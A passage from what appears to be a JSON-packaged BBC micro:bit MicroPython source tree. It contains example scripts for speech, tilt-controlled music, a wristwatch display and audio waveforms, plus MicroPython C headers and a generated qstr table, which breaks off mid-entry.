m.display.scroll(\"Score:\" + str(score))\r\n\r\n    while True:\r\n        if (m.button_a.is_pressed() and m.button_a.is_pressed()):\r\n            break\r\n        m.sleep(100)\r\n"
  },
  {
    "path": "micropython/examples/speech.py",
    "content": "import speech\nfrom microbit import sleep\n\n# The say method attempts to convert English into phonemes.\nspeech.say(\"I can sing!\")\nsleep(1000)\nspeech.say(\"Listen to me!\")\nsleep(1000)\n\n# Clearing the throat requires the use of phonemes. Changing\n# the pitch and speed also helps create the right effect.\nspeech.pronounce(\"AEAE/HAEMM\", pitch=200, speed=100)  # Ahem\nsleep(1000)\n\n# Singing requires a phoneme with an annotated pitch for each syllable.\nsolfa = [\n    \"#115DOWWWWWW\",   # Doh\n    \"#103REYYYYYY\",   # Re\n    \"#94MIYYYYYY\",    # Mi\n    \"#88FAOAOAOAOR\",  # Fa\n    \"#78SOHWWWWW\",    # Soh\n    \"#70LAOAOAOAOR\",  # La\n    \"#62TIYYYYYY\",    # Ti\n    \"#58DOWWWWWW\",    # Doh\n]\n\n# Sing the scale ascending in pitch.\nsong = ''.join(solfa)\nspeech.sing(song, speed=100)\n# Reverse the list of syllables.\nsolfa.reverse()\nsong = ''.join(solfa)\n# Sing the scale descending in pitch.\nspeech.sing(song, speed=100)\n"
  },
  {
    "path": "micropython/examples/tiltmusic.py",
    "content": "# TiltMusic by Alex \"Chozabu\" P-B. September 2016.\n#\n# Tilt Y to change Pitch\n# press A to turn sound on or off\n# hold B and tilt X to change the note length\n#\n# A quick demo can be found at https://youtu.be/vvECQTDiWxQ\n#\n# This program has been placed into the public domain.\n\nfrom microbit import *\nimport music\n\n#A selection of sharp notes\nnotes = [233.08, 277.18, 311.13, 369.99, 415.30,\n466.16, 554.37, 622.25, 739.99, 830.61, 932.33,\n1108.73, 1244.51, 1479.98, 1661.22, 1864.66,\n2217.46, 2489.02, 2959.96, 3322.44, 3729.31,\n4434.92, 4978.03, 5919.91, 6644.88, 7458.62]\n\n#note lengths\nnote_durations = [\n 50, 100, 200, 400, 800\n]\ndurationlen = len(note_durations)\nnotelen = len(notes)\n\nduration = 100\n\nplay_music = True\n\nwhile True:\n    #get accelerometer readings\n    xreading = abs(accelerometer.get_x())\n    yreading = abs(accelerometer.get_y())\n    \n    #use a to toggle music\n    if button_a.was_pressed():\n        play_music = not play_music\n    if not play_music:\n        continue\n    \n    #get a note based on tilt\n    note = xreading*.01\n    pitch = notes[int(note)%notelen]\n    \n    #if b is pressed, alter the length based on tilt\n    if button_b.is_pressed() == 1:\n        #pitch *= .5\n        duration = note_durations[int(yreading*0.01)%durationlen]\n    \n    #play our sound!\n    music.pitch(int(pitch), duration)\n        \n"
  },
  {
    "path": "micropython/examples/watch.py",
    "content": "######################################################\n# A watch (as in a small clock for your wrist or pocket)\n# \n# Button A sets the mode: Clock or Setting time\n# Button B \n#     in clock mode: shows the time as a scrolling display \n#     in setting mode: increments the time\n# \n# The LED array displays the clock time in the format hh:mm. \n# The digits of the time are represented by columns of LEDs.\n# \n# The digits 1 - 5 are represented by more LEDs being lit from \n# the bottom up.\n# \n# For instance the digit 3  would look like:\n# \n#    .\n#    .\n#    X\n#    X\n#    X\n# \n# \n# The digits 6 - 9 are represented by LEDs being turned off from\n# the bottom up. The digit 6 would look like:\n# \n#    X\n#    X\n#    X\n#    X\n#    .\n# \n# The centre column is a colon flashing once a second to separate hours from minutes.\n# \n# The time 17:49 would look like:\n# \n#    . X . . X\n#    . X . X .\n#    . X . X .\n#    . . . X .\n#    X . . X .\n# \n# \n######################################################\n\nfrom microbit import *\n\n# Tweak CLOCK_ADJUST to make your system clock more accurate.\n# My clock is too fast by 4 seconds every minute so I use 4/60.\n# If your clock is too slow by 3 seconds every minute use -3/60.\nCLOCK_ADJUST = 4/60 \n\nlast_button_a_state = False\nlast_button_b_state = False\nlast_display_time = 0\nbase_time = 0\nmode = 0\n\nmodes = {0:\"clock\", 1:\"set h\", 2:\"mx10\", 3:\"m\"}\n\n\ndef decode_time(milliseconds):\n    \"\"\"Converts a time in milliseconds into a string with hours:minutes,\"\"\"\n    mins = int(milliseconds / (1000 * 60) % 60)\n    hrs = int(milliseconds / (1000 * 60 * 60) % 24)\n    return \"{h:0>2}:{m:0>2}\".format(h=hrs, m=mins)\n\n\ndef show_time(time):\n    time_string = decode_time(time)\n\n    for i in range(5):\n        if time_string[i].isdigit():\n            d  = int(time_string[i])\n            plot_LED_column(i, d)\n\n    show_colon(mode==0 and int((time / 1000) % 2))\n\n\ndef show_colon(visible):\n    display.set_pixel(2, 1, visible*9)\n    display.set_pixel(2, 3, visible*9)\n\n\ndef get_clock_time():\n    global base_time\n    sys_time = running_time() / (1 + CLOCK_ADJUST)\n    time = (sys_time - base_time) % (24 * 60 * 60 * 1000)\n    base_time = sys_time - time \n    return time\n\n\ndef plot_LED_column(column, number):\n    \"\"\"plots a column of LEDs to represent a number from 0 - 9\"\"\"\n    if number > 9:\n        number = 9\n\n    if number <= 5:\n        for i in range(4, -1, -1):\n            if i < 5 - number:\n                display.set_pixel(column, i, 0)\n            else:\n                display.set_pixel(column, i, 9)\n\n    if number > 5:\n        for i in range(4, -1, -1):\n            if i < 5 - (number - 5):\n                display.set_pixel(column, i, 9)\n            else:\n                display.set_pixel(column, i, 0)\n\n\nwhile True:\n    # detect a change in button A's state, the Mode button\n    button_a_state = button_a.is_pressed()\n    if button_a_state != last_button_a_state:\n        last_button_a_state = button_a_state\n\n        #increment the mode\n        if button_a_state == True:\n            mode = (mode + 1) % 4\n            display.scroll(modes[mode])\n            show_time(get_clock_time())\n\n    # detect a change in button B's state, the increment / select button\n    button_b_state = button_b.is_pressed()\n    if button_b_state != last_button_b_state:\n        last_button_b_state = button_b_state\n\n        if button_b_state == True:\n            # button B's action depends on the current mode\n            if mode == 0:   #show time\n                display.scroll(decode_time(get_clock_time()))\n            elif mode == 1: #setting time: increment hour units\n                base_time = base_time - (60 * 60 * 1000)\n            elif mode == 2: #setting time: increment minute tens\n                base_time = base_time - (10 * 60 * 1000)\n            elif mode == 3: #setting time: increment minute units\n                base_time = base_time - (60 * 1000)\n\n            show_time(get_clock_time())\n  \n\n    #If in clock mode update the display every second\n    if mode == 0:\n        display_time = running_time() - last_display_time\n        if display_time >= 1000:\n            last_display_time = display_time\n            show_time(get_clock_time())\n\n    sleep(100)\n"
  },
  {
    "path": "micropython/examples/waveforms.py",
    "content": "from microbit import display, sleep, button_a\nimport audio\nimport math\n\ndef repeated_frame(frame, count):\n    for i in range(count):\n        yield frame\n\n# Press button A to skip to next wave.\ndef show_wave(name, frame, duration=1500):\n    display.scroll(name + \" wave\", wait=False,delay=100)\n    audio.play(repeated_frame(frame, duration),wait=False)\n    for i in range(75):\n        sleep(100)\n        if button_a.is_pressed():\n            display.clear()\n            audio.stop()\n            break\n\nframe = audio.AudioFrame()\n\nfor i in range(len(frame)):\n    frame[i] = int(math.sin(math.pi*i/16)*124+128.5)\nshow_wave(\"Sine\", frame)\n\ntriangle = audio.AudioFrame()\n\nQUARTER = len(triangle)//4\nfor i in range(QUARTER):\n    triangle[i] = i*15\n    triangle[i+QUARTER] = 248-i*15\n    triangle[i+QUARTER*2] = 128-i*15\n    triangle[i+QUARTER*3] = i*15+8\nshow_wave(\"Triangle\", triangle)\n\nsquare = audio.AudioFrame()\n\nHALF = len(square)//2\nfor i in range(HALF):\n    square[i] = 8\n    square[i+HALF] = 248\nshow_wave(\"Square\", square)\nsleep(1000)\n\nfor i in range(len(frame)):\n    frame[i] = 252-i*8\nshow_wave(\"Sawtooth\", frame)\n\ndel frame\n\n#Generate a waveform that goes from triangle to square wave, reasonably smoothly.\nframes = [ None ] * 32\nfor i in range(32):\n    frames[i] = frame = audio.AudioFrame()\n    for j in range(len(triangle)):\n        frame[j] = (triangle[j]*(32-i) + square[j]*i)>>5\n\ndef repeated_frames(frames, count):\n    for frame in frames:\n        for i in range(count):\n            yield frame\n\n\ndisplay.scroll(\"Ascending wave\", wait=False)\naudio.play(repeated_frames(frames, 60))\n"
  },
  {
    "path": "micropython/inc/extmod/machine_mem.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H\n#define MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H\n\n#include \"py/obj.h\"\n\ntypedef struct _machine_mem_obj_t {\n    mp_obj_base_t base;\n    unsigned elem_size; // in bytes\n} machine_mem_obj_t;\n\nextern const mp_obj_type_t machine_mem_type;\n\nextern const machine_mem_obj_t machine_mem8_obj;\nextern const machine_mem_obj_t machine_mem16_obj;\nextern const machine_mem_obj_t machine_mem32_obj;\n\n#if defined(MICROPY_MACHINE_MEM_GET_READ_ADDR)\nuintptr_t MICROPY_MACHINE_MEM_GET_READ_ADDR(mp_obj_t addr_o, uint align);\n#endif\n#if defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR)\nuintptr_t MICROPY_MACHINE_MEM_GET_WRITE_ADDR(mp_obj_t addr_o, uint align);\n#endif\n\n#endif // MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H\n"
  },
  {
    "path": "micropython/inc/extmod/machine_pulse.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H\n#define MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H\n\n#include \"py/obj.h\"\n#include \"py/mphal.h\"\n\nmp_uint_t machine_time_pulse_us(mp_hal_pin_obj_t pin, int pulse_level, mp_uint_t timeout_us);\n\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(machine_time_pulse_us_obj);\n\n#endif // MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H\n"
  },
  {
    "path": "micropython/inc/extmod/utime_mphal.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n * Copyright (c) 2016 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H\n#define MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H\n\n#include \"py/obj.h\"\n\nMP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_ms_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_us_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_ms_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_us_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_cpu_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_utime_ticks_diff_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_utime_ticks_add_obj);\n\n#endif // MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H\n"
  },
  {
    "path": "micropython/inc/genhdr/mpversion.h",
    "content": "// This file was generated by py/makeversionhdr.py\n#define MICROPY_GIT_TAG \"v1.9.2-34-gd64154c73\"\n#define MICROPY_GIT_HASH \"d64154c73\"\n#define MICROPY_BUILD_DATE \"2017-09-01\"\n#define MICROPY_VERSION_MAJOR (1)\n#define MICROPY_VERSION_MINOR (9)\n#define MICROPY_VERSION_MICRO (2)\n#define MICROPY_VERSION_STRING \"1.9.2\"\n"
  },
  {
    "path": "micropython/inc/genhdr/qstrdefs.generated.h",
    "content": "// This file was automatically generated by makeqstrdata.py\n\nQDEF(MP_QSTR_NULL, (const byte*)\"\\x00\\x00\" \"\")\nQDEF(MP_QSTR_, (const byte*)\"\\x05\\x00\" \"\")\nQDEF(MP_QSTR__star_, (const byte*)\"\\x8f\\x01\" \"*\")\nQDEF(MP_QSTR__, (const byte*)\"\\xfa\\x01\" \"_\")\nQDEF(MP_QSTR__slash_, (const byte*)\"\\x8a\\x01\" \"/\")\nQDEF(MP_QSTR__percent__hash_o, (const byte*)\"\\x6c\\x03\" \"%#o\")\nQDEF(MP_QSTR__percent__hash_x, (const byte*)\"\\x7b\\x03\" \"%#x\")\nQDEF(MP_QSTR__brace_open__colon__hash_b_brace_close_, (const byte*)\"\\x58\\x05\" \"{:#b}\")\nQDEF(MP_QSTR__0x0a_, (const byte*)\"\\xaf\\x01\" \"\\x0a\")\nQDEF(MP_QSTR_maximum_space_recursion_space_depth_space_exceeded, (const byte*)\"\\x73\\x20\" \"maximum recursion depth exceeded\")\nQDEF(MP_QSTR__lt_module_gt_, (const byte*)\"\\xbd\\x08\" \"<module>\")\nQDEF(MP_QSTR__lt_lambda_gt_, (const byte*)\"\\x80\\x08\" \"<lambda>\")\nQDEF(MP_QSTR__lt_listcomp_gt_, (const byte*)\"\\xd4\\x0a\" \"<listcomp>\")\nQDEF(MP_QSTR__lt_dictcomp_gt_, (const byte*)\"\\xcc\\x0a\" \"<dictcomp>\")\nQDEF(MP_QSTR__lt_setcomp_gt_, (const byte*)\"\\x54\\x09\" \"<setcomp>\")\nQDEF(MP_QSTR__lt_genexpr_gt_, (const byte*)\"\\x34\\x09\" \"<genexpr>\")\nQDEF(MP_QSTR__lt_string_gt_, (const byte*)\"\\x52\\x08\" \"<string>\")\nQDEF(MP_QSTR__lt_stdin_gt_, (const byte*)\"\\xe3\\x07\" \"<stdin>\")\nQDEF(MP_QSTR_utf_hyphen_8, (const byte*)\"\\xb7\\x05\" \"utf-8\")\nQDEF(MP_QSTR_help, (const byte*)\"\\x94\\x04\" \"help\")\nQDEF(MP_QSTR_input, (const byte*)\"\\x73\\x05\" \"input\")\nQDEF(MP_QSTR_collections, (const byte*)\"\\xe0\\x0b\" \"collections\")\nQDEF(MP_QSTR_struct, (const byte*)\"\\x12\\x06\" \"struct\")\nQDEF(MP_QSTR_microbit, (const byte*)\"\\xc0\\x08\" \"microbit\")\nQDEF(MP_QSTR_reset, (const byte*)\"\\x10\\x05\" \"reset\")\nQDEF(MP_QSTR_sleep, (const byte*)\"\\xea\\x05\" \"sleep\")\nQDEF(MP_QSTR_running_time, (const byte*)\"\\xc8\\x0c\" \"running_time\")\nQDEF(MP_QSTR_panic, (const byte*)\"\\xd0\\x05\" \"panic\")\nQDEF(MP_QSTR_temperature, (const byte*)\"\\xe9\\x0b\" \"temperature\")\nQDEF(MP_QSTR_this, (const byte*)\"\\xa3\\x04\" \"this\")\nQDEF(MP_QSTR_authors, (const byte*)\"\\x63\\x07\" \"authors\")\nQDEF(MP_QSTR_antigravity, (const byte*)\"\\xf1\\x0b\" \"antigravity\")\nQDEF(MP_QSTR_love, (const byte*)\"\\x55\\x04\" \"love\")\nQDEF(MP_QSTR_badaboom, (const byte*)\"\\x2c\\x08\" \"badaboom\")\nQDEF(MP_QSTR_MicroBitDigitalPin, (const byte*)\"\\xcd\\x12\" \"MicroBitDigitalPin\")\nQDEF(MP_QSTR_MicroBitAnalogDigitalPin, (const byte*)\"\\x07\\x18\" \"MicroBitAnalogDigitalPin\")\nQDEF(MP_QSTR_MicroBitTouchPin, (const byte*)\"\\x52\\x10\" \"MicroBitTouchPin\")\nQDEF(MP_QSTR_read_digital, (const byte*)\"\\x92\\x0c\" \"read_digital\")\nQDEF(MP_QSTR_write_digital, (const byte*)\"\\xfd\\x0d\" \"write_digital\")\nQDEF(MP_QSTR_read_analog, (const byte*)\"\\x62\\x0b\" \"read_analog\")\nQDEF(MP_QSTR_write_analog, (const byte*)\"\\x2d\\x0c\" \"write_analog\")\nQDEF(MP_QSTR_set_analog_period, (const byte*)\"\\x08\\x11\" \"set_analog_period\")\nQDEF(MP_QSTR_set_analog_period_microseconds, (const byte*)\"\\xee\\x1e\" \"set_analog_period_microseconds\")\nQDEF(MP_QSTR_get_analog_period_microseconds, (const byte*)\"\\x7a\\x1e\" \"get_analog_period_microseconds\")\nQDEF(MP_QSTR_is_touched, (const byte*)\"\\x04\\x0a\" \"is_touched\")\nQDEF(MP_QSTR_unused, (const byte*)\"\\x79\\x06\" \"unused\")\nQDEF(MP_QSTR_audio_play, (const byte*)\"\\xc8\\x0a\" \"audio_play\")\nQDEF(MP_QSTR_button, (const byte*)\"\\xf3\\x06\" \"button\")\nQDEF(MP_QSTR_touch, (const byte*)\"\\x80\\x05\" \"touch\")\nQDEF(MP_QSTR_3v, (const byte*)\"\\x20\\x02\" \"3v\")\nQDEF(MP_QSTR_get_mode, (const byte*)\"\\xaf\\x08\" \"get_mode\")\nQDEF(MP_QSTR_MicroBitIO, (const byte*)\"\\xe6\\x0a\" \"MicroBitIO\")\nQDEF(MP_QSTR_pin0, (const byte*)\"\\x02\\x04\" \"pin0\")\nQDEF(MP_QSTR_pin1, (const byte*)\"\\x03\\x04\" \"pin1\")\nQDEF(MP_QSTR_pin2, (const byte*)\"\\x01\\x04\" \"pin2\")\nQDEF(MP_QSTR_pin3, (const byte*)\"\\x01\\x04\" \"pin3\")\nQDEF(MP_QSTR_pin4, (const byte*)\"\\x06\\x04\" \"pin4\")\nQDEF(MP_QSTR_pin5, (const byte*)\"\\x07\\x04\" \"pin5\")\nQDEF(MP_QSTR_pin6, (const byte*)\"\\x04\\x04\" \"pin6\")\nQDEF(MP_QSTR_pin7, (const byte*)\"\\x05\\x04\" \"pin7\")\nQDEF(MP_QSTR_pin8, (const byte*)\"\\x0a\\x04\" \"pin8\")\nQDEF(MP_QSTR_pin9, (const byte*)\"\\x0b\\x04\" \"pin9\")\nQDEF(MP_QSTR_pin10, (const byte*)\"\\x53\\x05\" \"pin10\")\nQDEF(MP_QSTR_pin11, (const byte*)\"\\x52\\x05\" \"pin11\")\nQDEF(MP_QSTR_pin12, (const byte*)\"\\x51\\x05\" \"pin12\")\nQDEF(MP_QSTR_pin13, (const byte*)\"\\x50\\x05\" \"pin13\")\nQDEF(MP_QSTR_pin14, (const byte*)\"\\x57\\x05\" \"pin14\")\nQDEF(MP_QSTR_pin15, (const byte*)\"\\x56\\x05\" \"pin15\")\nQDEF(MP_QSTR_pin16, (const byte*)\"\\x55\\x05\" \"pin16\")\nQDEF(MP_QSTR_pin19, (const byte*)\"\\x5a\\x05\" \"pin19\")\nQDEF(MP_QSTR_pin20, (const byte*)\"\\x30\\x05\" \"pin20\")\nQDEF(MP_QSTR_get_pull, (const byte*)\"\\x49\\x08\" \"get_pull\")\nQDEF(MP_QSTR_set_pull, (const byte*)\"\\xdd\\x08\" \"set_pull\")\nQDEF(MP_QSTR_PULL_UP, (const byte*)\"\\xba\\x07\" \"PULL_UP\")\nQDEF(MP_QSTR_PULL_DOWN, (const byte*)\"\\xad\\x09\" \"PULL_DOWN\")\nQDEF(MP_QSTR_NO_PULL, (const byte*)\"\\x1e\\x07\" \"NO_PULL\")\nQDEF(MP_QSTR_MicroBitImage, (const byte*)\"\\x87\\x0d\" \"MicroBitImage\")\nQDEF(MP_QSTR_Image, (const byte*)\"\\x62\\x05\" \"Image\")\nQDEF(MP_QSTR_image, (const byte*)\"\\x42\\x05\" \"image\")\nQDEF(MP_QSTR_width, (const byte*)\"\\x23\\x05\" \"width\")\nQDEF(MP_QSTR_height, (const byte*)\"\\xfa\\x06\" \"height\")\nQDEF(MP_QSTR_invert, (const byte*)\"\\xb7\\x06\" \"invert\")\nQDEF(MP_QSTR_fill, (const byte*)\"\\xca\\x04\" \"fill\")\nQDEF(MP_QSTR_set_pixel, (const byte*)\"\\xb0\\x09\" \"set_pixel\")\nQDEF(MP_QSTR_get_pixel, (const byte*)\"\\xa4\\x09\" \"get_pixel\")\nQDEF(MP_QSTR_shift_left, (const byte*)\"\\xa1\\x0a\" \"shift_left\")\nQDEF(MP_QSTR_shift_right, (const byte*)\"\\xba\\x0b\" \"shift_right\")\nQDEF(MP_QSTR_shift_up, (const byte*)\"\\xdf\\x08\" \"shift_up\")\nQDEF(MP_QSTR_shift_down, (const byte*)\"\\x48\\x0a\" \"shift_down\")\nQDEF(MP_QSTR_monospace, (const byte*)\"\\xe2\\x09\" \"monospace\")\nQDEF(MP_QSTR_blit, (const byte*)\"\\xf6\\x04\" \"blit\")\nQDEF(MP_QSTR_HEART, (const byte*)\"\\x0f\\x05\" \"HEART\")\nQDEF(MP_QSTR_HEART_SMALL, (const byte*)\"\\xcf\\x0b\" \"HEART_SMALL\")\nQDEF(MP_QSTR_HAPPY, (const byte*)\"\\x15\\x05\" \"HAPPY\")\nQDEF(MP_QSTR_SAD, (const byte*)\"\\x93\\x03\" \"SAD\")\nQDEF(MP_QSTR_SMILE, (const byte*)\"\\x9b\\x05\" \"SMILE\")\nQDEF(MP_QSTR_CONFUSED, (const byte*)\"\\xa6\\x08\" \"CONFUSED\")\nQDEF(MP_QSTR_ANGRY, (const byte*)\"\\x26\\x05\" \"ANGRY\")\nQDEF(MP_QSTR_ASLEEP, (const byte*)\"\\x0b\\x06\" \"ASLEEP\")\nQDEF(MP_QSTR_SURPRISED, (const byte*)\"\\x88\\x09\" \"SURPRISED\")\nQDEF(MP_QSTR_SILLY, (const byte*)\"\\xc6\\x05\" \"SILLY\")\nQDEF(MP_QSTR_FABULOUS, (const byte*)\"\\x30\\x08\" \"FABULOUS\")\nQDEF(MP_QSTR_MEH, (const byte*)\"\\x05\\x03\" \"MEH\")\nQDEF(MP_QSTR_YES, (const byte*)\"\\x0a\\x03\" \"YES\")\nQDEF(MP_QSTR_NO, (const byte*)\"\\x04\\x02\" \"NO\")\nQDEF(MP_QSTR_CLOCK12, (const byte*)\"\\x6e\\x07\" \"CLOCK12\")\nQDEF(MP_QSTR_CLOCK1, (const byte*)\"\\xdc\\x06\" \"CLOCK1\")\nQDEF(MP_QSTR_CLOCK2, (const byte*)\"\\xdf\\x06\" \"CLOCK2\")\nQDEF(MP_QSTR_CLOCK3, (const byte*)\"\\xde\\x06\" \"CLOCK3\")\nQDEF(MP_QSTR_CLOCK4, (const byte*)\"\\xd9\\x06\" \"CLOCK4\")\nQDEF(MP_QSTR_CLOCK5, (const byte*)\"\\xd8\\x06\" \"CLOCK5\")\nQDEF(MP_QSTR_CLOCK6, (const byte*)\"\\xdb\\x06\" \"CLOCK6\")\nQDEF(MP_QSTR_CLOCK7, (const byte*)\"\\xda\\x06\" \"CLOCK7\")\nQDEF(MP_QSTR_CLOCK8, (const byte*)\"\\xd5\\x06\" \"CLOCK8\")\nQDEF(MP_QSTR_CLOCK9, (const byte*)\"\\xd4\\x06\" \"CLOCK9\")\nQDEF(MP_QSTR_CLOCK10, (const byte*)\"\\x6c\\x07\" \"CLOCK10\")\nQDEF(MP_QSTR_CLOCK11, (const byte*)\"\\x6d\\x07\" \"CLOCK11\")\nQDEF(MP_QSTR_ARROW_N, (const byte*)\"\\xed\\x07\" \"ARROW_N\")\nQDEF(MP_QSTR_ARROW_NE, (const byte*)\"\\xc8\\x08\" \"ARROW_NE\")\nQDEF(MP_QSTR_ARROW_E, (const byte*)\"\\xe6\\x07\" \"ARROW_E\")\nQDEF(MP_QSTR_ARROW_SE, (const byte*)\"\\xb5\\x08\" \"ARROW_SE\")\nQDEF(MP_QSTR_ARROW_S, (const byte*)\"\\xf0\\x07\" \"ARROW_S\")\nQDEF(MP_QSTR_ARROW_SW, (const byte*)\"\\xa7\\x08\" \"ARROW_SW\")\nQDEF(MP_QSTR_ARROW_W, (const byte*)\"\\xf4\\x07\" \"ARROW_W\")\nQDEF(MP_QSTR_ARROW_NW, (const byte*)\"\\xda\\x08\" \"ARROW_NW\")\nQDEF(MP_QSTR_TRIANGLE, (const byte*)\"\\xeb\\x08\" \"TRIANGLE\")\nQDEF(MP_QSTR_TRIANGLE_LEFT, (const byte*)\"\\x8f\\x0d\" \"TRIANGLE_LEFT\")\nQDEF(MP_QSTR_CHESSBOARD, (const byte*)\"\\x51\\x0a\" \"CHESSBOARD\")\nQDEF(MP_QSTR_DIAMOND, (const byte*)\"\\xa1\\x07\" \"DIAMOND\")\nQDEF(MP_QSTR_DIAMOND_SMALL, (const byte*)\"\\x61\\x0d\" \"DIAMOND_SMALL\")\nQDEF(MP_QSTR_SQUARE, (const byte*)\"\\x84\\x06\" \"SQUARE\")\nQDEF(MP_QSTR_SQUARE_SMALL, (const byte*)\"\\x84\\x0c\" \"SQUARE_SMALL\")\nQDEF(MP_QSTR_RABBIT, (const byte*)\"\\xeb\\x06\" \"RABBIT\")\nQDEF(MP_QSTR_COW, (const byte*)\"\\x5e\\x03\" \"COW\")\nQDEF(MP_QSTR_MUSIC_CROTCHET, (const byte*)\"\\xab\\x0e\" \"MUSIC_CROTCHET\")\nQDEF(MP_QSTR_MUSIC_QUAVER, (const byte*)\"\\x5f\\x0c\" \"MUSIC_QUAVER\")\nQDEF(MP_QSTR_MUSIC_QUAVERS, (const byte*)\"\\x6c\\x0d\" \"MUSIC_QUAVERS\")\nQDEF(MP_QSTR_PITCHFORK, (const byte*)\"\\x33\\x09\" \"PITCHFORK\")\nQDEF(MP_QSTR_XMAS, (const byte*)\"\\xe2\\x04\" \"XMAS\")\nQDEF(MP_QSTR_PACMAN, (const byte*)\"\\x55\\x06\" \"PACMAN\")\nQDEF(MP_QSTR_TARGET, (const byte*)\"\\xb4\\x06\" \"TARGET\")\nQDEF(MP_QSTR_TSHIRT, (const byte*)\"\\x45\\x06\" \"TSHIRT\")\nQDEF(MP_QSTR_ROLLERSKATE, (const byte*)\"\\x27\\x0b\" \"ROLLERSKATE\")\nQDEF(MP_QSTR_DUCK, (const byte*)\"\\x3c\\x04\" \"DUCK\")\nQDEF(MP_QSTR_HOUSE, (const byte*)\"\\xa1\\x05\" \"HOUSE\")\nQDEF(MP_QSTR_TORTOISE, (const byte*)\"\\xc8\\x08\" \"TORTOISE\")\nQDEF(MP_QSTR_BUTTERFLY, (const byte*)\"\\x56\\x09\" \"BUTTERFLY\")\nQDEF(MP_QSTR_STICKFIGURE, (const byte*)\"\\xe9\\x0b\" \"STICKFIGURE\")\nQDEF(MP_QSTR_GHOST, (const byte*)\"\\xc2\\x05\" \"GHOST\")\nQDEF(MP_QSTR_SWORD, (const byte*)\"\\x98\\x05\" \"SWORD\")\nQDEF(MP_QSTR_GIRAFFE, (const byte*)\"\\x7d\\x07\" \"GIRAFFE\")\nQDEF(MP_QSTR_SKULL, (const byte*)\"\\x48\\x05\" \"SKULL\")\nQDEF(MP_QSTR_UMBRELLA, (const byte*)\"\\xc9\\x08\" \"UMBRELLA\")\nQDEF(MP_QSTR_SNAKE, (const byte*)\"\\x97\\x05\" 